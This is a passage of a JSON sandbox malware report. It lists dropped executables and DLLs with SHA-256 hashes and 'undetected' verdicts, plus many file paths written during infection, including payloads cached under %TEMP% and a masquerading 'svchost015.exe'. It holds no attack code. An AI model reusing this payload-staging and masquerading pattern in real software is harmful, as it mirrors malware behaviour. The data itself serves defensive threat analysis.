8e9db7bfa7e43f7d1ce10b7a5b0920c78bd21824615980b23c2f65","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"vgXMNSY_1_.exe","sha256":"69f2d95363585467a9d8b46ae53d1f3adf14874bb50a95bde75b4ca80495615b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"05DDC6AA91765AACACDB0A5F96DF8199","sha256":"eac173f6aa2de93aabf408b24c323e3ccdd20833aa1b29ffe6a03f9236aac0c1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA","sha256":"d10aed83088e1bd15636d1f6ac7a8d4e76b59a82dc534ecd277e2453e41174c6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"646C991C2A28825F3CC56E0A1D1E3FA9","sha256":"81b7fa53b692b4d26e2e8943f2dda2f9563cfcb0e11f48679eb2be4f8c375b90","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"75A092F4522006A97542D6AC4F4E69D2","sha256":"9f3e826295065a94c3d7fe361c9b5bf4697d13bd952a75a9119567bdbc3961df","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"DDE8B1B7E253A9758EC380BD648952AF_8EF17294603FDDE2A26540323F916EB0","sha256":"e12b01dad1745500c52b15e27c32c730c7883a41fefe7094353858ff9309452f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"487b7f492a.exe","sha256":"090de0af3306921e0412cb6fbeae1a5c113454e0c5ab21c99e0cc0133b0b0e9c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"681a9d25ac.exe","sha256":"599fa3e078b1cf240f0513969cdc3a5016ffb60c1feae9e574ab8a275ae8e891","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"8d7bd76f43.exe","sha256":"5301711b35117a25cd6fe5a484f00f8565e8ff7206006f922912c50fb0d8adc8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"bb.exe","sha256":"7dc1c47f86f21df6a5d82b7c365505d73fac1f509885883e00c21b565a9d14bb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"oleacc.dll","sha256":"d597f83f95c494bc7ffc78a1348829c4bb1f70b57f147cc077cae3f120fb1cfd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"95a49a4382.exe","sha256":"2f31f41366beeffeab300e14b95456bed655c49b3c42be1eab4f9bcb709a04e4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"random_2_.exe","sha256":"2f31f41366beeffeab300e14b95456bed655c49b3c42be1eab4f9bcb709a04e4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"Bunifu_UI_v1.5.3.dll","sha256":"f1b3e0f2750a9103e46a6a4a34f1cf9d17779725f98042cc2475ec66484801cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"fuckingdllENCR_1_.dll","sha256":"6bbfc32b36972b252587914130ff5018e20b4327d28a4ae6db06395b80aca4ce","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"YCL.lnk","sha256":"499f34e77a2d434bebea2722ab08a70ea8f87a8e0a0da82a74662e08c0b957f3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"YCL.exe","sha256":"8f835c53d895e51a8f3133cdf43072e14430add8bf977ce9f5d687fb70e9c5ed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"687f1e5ed3.exe","sha256":"090de0af3306921e0412cb6fbeae1a5c113454e0c5ab21c99e0cc0133b0b0e9c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"6d08fb4fda.exe","sha256":"599fa3e078b1cf240f0513969cdc3a5016ffb60c1feae9e574ab8a275ae8e891","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"4addc9e0a1.exe","sha256":"5301711b35117a25cd6fe5a484f00f8565e8ff7206006f922912c50fb0d8adc8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"aa922d9843.exe","sha256":"2f31f41366beeffeab300e14b95456bed655c49b3c42be1eab4f9bcb709a04e4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"687f1e5ed3.exe.bin","sha256":"090de0af3306921e0412cb6fbeae1a5c113454e0c5ab21c99e0cc0133b0b0e9c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\10716570101\\cde4308e66.exe","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\random[1].exe","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\10716580101\\adc663ab13.exe","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\9SSPAW46\\random[1].exe","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"}]},{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\10734390101\\3e79d3cef1.exe","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CKDNCXYS\\random[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\svchost015.exe","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\svcDD6.tmp","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"path":"%TEMP%\\10730380101\\rrr2ITl.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\2UXTWTJR\\rrr2ITl[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\10731300101\\gZ3dBvj.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CKDNCXYS\\gZ3dBvj[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\10732500101\\K6lV9Hn.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\37NU00GP\\K6lV9Hn[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\10733250101\\vgXMNSY.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\2UXTWTJR\\vgXMNSY[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\10734210101\\771eb22c64.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\10734230101\\2e447e8ad7.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\37NU00GP\\random[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\10734240101\\9f2d87a5c4.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\2UXTWTJR\\random[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\10734250101\\YXJ9Hvg.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CKDNCXYS\\YXJ9Hvg[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\10734260101\\S8nPHvo.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\37NU00GP\\S8nPHvo[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\10734270101\\xO50QoO.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\2UXTWTJR\\xO50QoO[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\10734280101\\v3434.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CKDNCXYS\\v3434[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\10734290101\\rrr2ITl.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\10734300101\\gZ3dBvj.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\10734310101\\ojjvpn1.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\37NU00GP\\ojjvpn1[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\10734320101\\YqShJwS.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\2UXTWTJR\\YqShJwS[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\10734330101\\jSR21kp.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CKDNCXYS\\jSR21kp[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\10734340101\\NjtIeMV.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\37NU00GP\\NjtIeMV[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\10734350101\\2c8FJYQ.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\QQW0X29Y\\2c8FJYQ[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%TEMP%\\10734360101\\111.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\10734370101\\K6lV9Hn.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\10734380101\\vgXMNSY.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\svc23E5.tmp","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D1294F35-8ADB-47E2-A6F3-7CFEC79945A6}","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\05DDC6AA91765AACACDB0A5F96DF8199","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\05DDC6AA91765AACACDB0A5F96DF8199","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\75A092F4522006A97542D6AC4F4E69D2","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\75A092F4522006A97542D6AC4F4E69D2","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\DDE8B1B7E253A9758EC380BD648952AF_8EF17294603FDDE2A26540323F916EB0","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\DDE8B1B7E253A9758EC380BD648952AF_8EF17294603FDDE2A26540323F916EB0","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\646C991C2A28825F3CC56E0A1D1E3FA9","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\646C991C2A28825F3CC56E0A1D1E3FA9","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\6LDIEKEG\\rrr2ITl[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\GPCSCCE5\\gZ3dBvj[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\3SXYTHIH\\K6lV9Hn[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\XHI7I3CE\\vgXMNSY[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%TEMP%\\10734210101\\487b7f492a.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\6LDIEKEG\\random[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%TEMP%\\10734230101\\681a9d25ac.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\GPCSCCE5\\random[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%TEMP%\\10734240101\\8d7bd76f43.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\3SXYTHIH\\random[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\XHI7I3CE\\YXJ9Hvg[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\6LDIEKEG\\S8nPHvo[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\GPCSCCE5\\xO50QoO[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\3SXYTHIH\\v3434[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\XHI7I3CE\\ojjvpn1[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\6LDIEKEG\\YqShJwS[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\RarSFX0\\__tmp_rar_sfx_access_check_4512515","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"path":"%TEMP%\\RarSFX0\\oleacc.dll","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\RarSFX0\\bb.exe","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\OX8EQCT0\\rrr2ITl[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CP53U0VR\\gZ3dBvj[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\P6QSO9MS\\K6lV9Hn[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\TBFHKZCA\\vgXMNSY[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\10734210101\\687f1e5ed3.exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\OX8EQCT0\\random[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\10734230101\\6d08fb4fda.exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CP53U0VR\\random[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\10734240101\\4addc9e0a1.exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\3IQVUB7J\\random[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\V8IO49DI\\YXJ9Hvg[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\P6QSO9MS\\S8nPHvo[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet 